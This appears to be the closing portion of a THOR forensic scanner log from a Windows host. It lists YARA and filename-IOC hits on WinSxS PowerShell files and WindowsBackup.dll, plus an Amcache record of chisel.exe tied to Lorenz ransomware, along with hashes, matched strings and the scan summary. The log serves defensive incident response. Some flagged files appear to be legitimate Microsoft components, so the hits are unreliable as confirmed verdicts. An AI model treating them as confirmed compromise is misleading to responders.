Sep 10 13:01:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\WinSxS\amd64_microsoft-desktop-p..ioning-platform-uap_31bf3856ad364e35_10.0.22621.3810_none_58890fa03f937b2b\Microsoft-Desktop-Provisioning.dat
Sep 10 13:03:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 75 FILE: E:\Windows\WinSxS\amd64_microsoft-windows-host-network-service_31bf3856ad364e35_10.0.22621.3880_none_daa6f825dbd9c2c0\HostNetworkingService.psm1 EXT: .psm1 TYPE: UNKNOWN SIZE: 1264 MD5: aa3bcc7fa50c7c5123594dac08b861db SHA1: 4f5a31f32608e43c5bc8b8c7a18ab6412f6b44d7 SHA256: 6c9710b6e8f911450e91da24c5b4bc2f72ae6da2a604f7ee416008ff1a61ecea FIRSTBYTES: 444353010100000004190000e004000004190000 / DCS CREATED: Sat May  7 05:20:17.750 2022 MODIFIED: Sat May  7 05:34:04.392 2022 ACCESSED: Thu Aug 15 02:41:31.786 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: BUILTIN\Administrators REASON_1: YARA rule SUSP_Reversed_PowerShell_Code / Detects reversed PowerShell strings SUBSCORE_1: 75 REF_1: http://www.exploit-monday.com/2017/08/exploiting-powershell-code-injection.html SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "-ekovnI" in "\x8c\xa4To\x88\xe527\x8e\xbd\xd6~\xcb2f\xdfE,\xd7\xd6n epyT- TEG dohteM- tseuqeRSNH-ekovnI nruter\x1d|\xf7\xb2\x14-\xbd\x9c}\xe3\xcaZ\xae\xf2\xa2\x80\x98\xa5e8+fJ\xe6l\xd6\xf4\xb2\xb6\x8c--\x8c\xae\x8c\xc8B\x1b\xa3K\xbb{\x86" at 0x444 RULEDATE_1: 2018-11-30 TAGS_1: SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_Reversed_PowerShell_Code AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 13:04:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Windows\WinSxS\amd64_microsoft-windows-n..diagnostics-package_31bf3856ad364e35_10.0.22621.2506_none_9d9261a7c28d6dc6\r\NetworkDiagnosticsTroubleshoot.ps1 EXT: .ps1 TYPE: UNKNOWN SIZE: 616 MD5: c33417fe8d9746f0d580f142242cc8eb SHA1: 83496fc2279ac3e8bfe9f5afd1c4639edcecfa8e SHA256: d1b10544291973a0c3e3e8e985ba19b03b409043a23665e7bdcf449a1b1c532e FIRSTBYTES: 62820f93504133308016d7d5deb19d01607d0c08 / bPA30ޱ`} CREATED: Fri Apr  5 23:03:11.272 2024 MODIFIED: Fri Apr  5 23:03:11.272 2024 ACCESSED: Fri Apr  5 23:03:11.272 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller REASON_1: YARA rule SUSP_PS1_Loader_Generic_Feb21 / Detects file that look like PowerShell loaders SUBSCORE_1: 65 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "Invoke-Expression" in "     $networkSnapshotCommand = \" trace diagnose   Invoke-Expression -Command:$networkSnapshotCommand\x13\x14\x00\x00\x00\x08\x00\x00\x00\x00" at 0x22c RULEDATE_1: 2021-02-12 TAGS_1: GEN, SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PS1_Loader_Generic_Feb21 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 13:08:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 80 FILE: E:\Windows\WinSxS\amd64_userexperience-desktop_31bf3856ad364e35_10.0.22621.3880_none_0c186f11e5fa3786\CBS\WindowsBackup.dll EXT: .dll TYPE: EXE SIZE: 1860096 MD5: a24bac6cb7209013c2c8fc14e7cb51f8 SHA1: 73b7901282f0963155b13239951901c2a4e69dff SHA256: a61dd163bdaa06fab687f928672ce0bcbb56c308e273132b0514f795037e4915 FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Mon Jul 22 15:18:27.144 2024 MODIFIED: Mon Jul 22 15:18:27.176 2024 ACCESSED: Wed Aug 21 00:33:33.135 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller COMPANY: Microsoft Corporation LEGAL_COPYRIGHT: © Microsoft Corporation.  All rights reserved. PRODUCT: Microsoft® Windows® Operating System ORIGINAL_NAME: WindowsBackup.dll INTERNAL_NAME: WindowsBackup.dll IMPHASH: 3120c38e9c80219e9c8bb33cf385dfd1 REASON_1: Filename IOC \WindowsBackup.dll SUBSCORE_1: 80 REF_1: Stealth Falcon Filename IOC https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \WindowsBackup.dll REASONS_COUNT: 1
Sep 10 13:08:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 80 FILE: E:\Windows\WinSxS\amd64_userexperience-desktop_31bf3856ad364e35_10.0.22621.3880_none_0c186f11e5fa3786\n\CBS\WindowsBackup.dll EXT: .dll TYPE: UNKNOWN SIZE: 569461 MD5: e38ec33cc7b299912a6134660756be7b SHA1: 9b449d8a2bf7d4c8ca05ee97954dc48b2ab632f2 SHA256: 770c98102cc50802f035ed44bd806c23a7d964659ce13e1f10c2eeec755c5fcd FIRSTBYTES: 529b4fb350413330002a25bd78b2da01b07e4000 / ROPA30*%x~@ CREATED: Mon Jul 22 15:15:50.535 2024 MODIFIED: Sun Jun  2 22:58:07.000 2024 ACCESSED: Tue Jul 23 13:03:53.046 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller REASON_1: Filename IOC \WindowsBackup.dll SUBSCORE_1: 80 REF_1: Stealth Falcon Filename IOC https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \WindowsBackup.dll REASONS_COUNT: 1
Sep 10 13:08:40 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 80 FILE: E:\Windows\WinSxS\amd64_userexperience-desktop_31bf3856ad364e35_10.0.22621.4036_none_0c696635e5be7038\n\CBS\WindowsBackup.dll EXT: .dll TYPE: UNKNOWN SIZE: 573243 MD5: 55292155b29f2c6cc257fbc5b1855cc4 SHA1: 9bbd3afdf955a95ba824a4a56de879f0917dc190 SHA256: 8dde1987a0dc4dc963593fc8abfe5ed59f854b381f35e8156442e57cfffe9736 FIRSTBYTES: 03c057b150413330808e3c731cd5da01b07e4000 / WPA30<s~@ CREATED: Tue Aug 13 19:52:49.833 2024 MODIFIED: Sat Jul 13 23:56:46.000 2024 ACCESSED: Tue Aug 13 19:55:34.134 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F OWNER: NT SERVICE\TrustedInstaller REASON_1: Filename IOC \WindowsBackup.dll SUBSCORE_1: 80 REF_1: Stealth Falcon Filename IOC https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \WindowsBackup.dll REASONS_COUNT: 1
Sep 10 13:11:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\appcompat\Programs\Amcache.hve
Sep 10 13:11:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: RegistryHive MESSAGE: Suspicious registry hive entries found SCANID: S-BxzYg1khKSI ENTRY: {9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;ProgramId;000686e3c383522ce70132c9963a47de5fa00000ffff[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;FileId;000012527700408fd8e700ef290bb230a88f63fd56c1[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;LowerCaseLongPath;c:\windows\syswow64\chisel.exe[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;Name;chisel.exe[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;BinaryType;pe64_amd64[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;LinkDate;01/01/1970 00:00:00[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;Size;9006080[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;Language;0[...]{9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995;Usn;926634472 SCORE: 75 PATH: E:\Windows\appcompat\Programs\Amcache.hve KEY: {9d33ac1a-dc78-01f4-fc46-c5a414a127ab}\Root\InventoryApplicationFile\chisel.exe|2cbc2438f8a1e995 MODIFIED: Tue Sep  3 09:38:51 2024 REASON_1: Filename IOC \chisel.exe SUBSCORE_1: 75 REF_1: Lorenz Ransomware IOCs https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \chisel.exe REASONS_COUNT: 1 FILE_1: c:\windows\syswow64\chisel.exe EXISTS_1: no FILE_2: E:\Windows\appcompat\Programs\Amcache.hve EXISTS_2: yes TYPE_2: Registry Hive SIZE_2: 2097152 MD5_2: f7b60ea08f98c70fba6313bb1cd4eebe SHA1_2: 7de806d018d34e7233635f9d48b9bdbbf1df3bd0 SHA256_2: bd2b47c922fb272f542d768e656cb8f80a79b493b5e047ff7dd31af3ad31440d FIRSTBYTES_2: 726567663f0200003e020000eb413c7e27b6da01 / regf?>A<~' CREATED_2: Tue Jun  4 02:32:49.870 2024 OWNER_2: NT AUTHORITY\SYSTEM
Sep 10 13:11:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Amcache MESSAGE: Analyzing Amcache Hive SCANID: S-BxzYg1khKSI FILE: E:\Windows\appcompat\Programs\Amcache.hve
Sep 10 13:11:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Amcache MESSAGE: Suspicious Amcache entry found SCANID: S-BxzYg1khKSI ELEMENT: "FILE: c:\\windows\\syswow64\\chisel.exe SHA1: 12527700408fd8e700ef290bb230a88f63fd56c1 SIZE: 9006080 DESCRIPTION:  PRODUCT:  COMPANY: " SCORE: 75 FILE: c:\windows\syswow64\chisel.exe SHA1: 12527700408fd8e700ef290bb230a88f63fd56c1 SIZE: 9006080 DESCRIPTION:  FIRST_RUN: Tue Sep  3 09:38:51 2024 CREATED: Thu Jan  1 00:00:00 1970 PRODUCT:  COMPANY:  FILE_EXISTS: no REASON_1: Filename IOC \chisel.exe SUBSCORE_1: 75 REF_1: Lorenz Ransomware IOCs https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \chisel.exe REASONS_COUNT: 1 FILE_1: c:\windows\syswow64\chisel.exe EXISTS_1: no
Sep 10 13:12:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\appcompat\Programs\Amcache.hve.LOG1
Sep 10 13:12:06 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Amcache MESSAGE: Analyzing Amcache Hive SCANID: S-BxzYg1khKSI FILE: E:\Windows\appcompat\Programs\Amcache.hve.LOG1
Sep 10 13:12:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\appcompat\Programs\Amcache.hve.LOG2
Sep 10 13:12:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Amcache MESSAGE: Analyzing Amcache Hive SCANID: S-BxzYg1khKSI FILE: E:\Windows\appcompat\Programs\Amcache.hve.LOG2
Sep 10 13:13:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Finished module SCANID: S-BxzYg1khKSI DURATION: 1 hours 8 mins 50 secs SCANNED_ELEMENTS: 254852
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: ThorDB MESSAGE: Successfully closed ThorDB SCANID: S-BxzYg1khKSI
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Results SCANID: S-BxzYg1khKSI ALERTS: 3 WARNINGS: 57 NOTICES: 36 ERRORS: 0
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: For details see the log files written to ["WIN-LRTT94FA08M_thor_2024-09-10_1203.txt" "WIN-LRTT94FA08M_thor_2024-09-10_1203.html"] SCANID: S-BxzYg1khKSI
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Begin Time: Tue Sep 10 12:04:11 2024 SCANID: S-BxzYg1khKSI
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: End Time: Tue Sep 10 13:13:10 2024 SCANID: S-BxzYg1khKSI
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Report MESSAGE: Scan took 1 hours 8 mins 58 secs SCANID: S-BxzYg1khKSI
Sep 10 13:13:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Report MESSAGE: Thor Scan finished SCANID: S-BxzYg1khKSI END_TIME: Tue Sep 10 13:13:10 2024 ALERTS: 3 WARNINGS: 57 NOTICES: 36 ERRORS: 0
